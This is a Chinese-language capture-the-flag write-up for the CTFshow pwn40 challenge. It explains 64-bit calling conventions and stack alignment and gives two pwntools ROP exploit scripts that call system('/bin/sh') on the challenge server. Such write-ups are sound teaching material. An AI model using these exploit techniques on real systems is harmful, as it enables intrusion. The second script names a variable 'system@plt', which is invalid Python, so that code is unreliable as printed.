从CTFshow-pwn入门-pwn40理解64位栈溢出不都需要堆栈平衡
pwn40
64位栈溢出不都需要堆栈平衡,调试发现需要的时候再 ret
和上一题很像,这题是 64 位程序,区别在于 64 位的传参方式和考虑堆栈平衡
64位程序普通函数传参:
先使用 rdi、rsi、rdx、rcx、r8、r9 寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上
方法一
checkse
ida 反编译
这里是栈溢出漏洞
还是记录地址
bin_sh = 0x400808
system = 0x40066E
这里需要找pop rdi
来存bin_sh
,我们使用工具 ROPgadget 来获取
ROPgadget --binary pwn --only "pop|ret" | grep rdi
pop_rdi = 0x4007e3
构造payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
pop_rdi
用于将下一个值弹出到rdi寄存器中p64(bin_sh)
被pop_rdi
弹出到寄存器
构造 exp
# -*- coding: utf-8 -*-
from pwn import *
#context(arch = 'i386' ,os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
elf = ELF('./pwn')bin_sh = 0x400808
system = 0x40066E
pop_rdi = 0x4007e3payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload)io.interactive()
这里堆栈是平衡的,不用处理
拿到了 flag
方法二
刚刚说不用考虑堆栈平衡
但如果!你跳转到了system@plt
,这个时候就不平衡了需要用 ret 处理!
system@plt = 0x400520
先不加 ret 调试看一下
果然卡在了这里,随便找一个 ret 处理堆栈平衡
ret = 0x400779
,构造 exp
# -*- coding: utf-8 -*-
from pwn import *
#context(arch = 'i386' ,os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
elf = ELF('./pwn')bin_sh = 0x400808
system@plt = 0x400520
pop_rdi = 0x4007e3
ret = 0x400779payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system@plt)
io.sendline(payload)io.interactive()
一样拿到 flag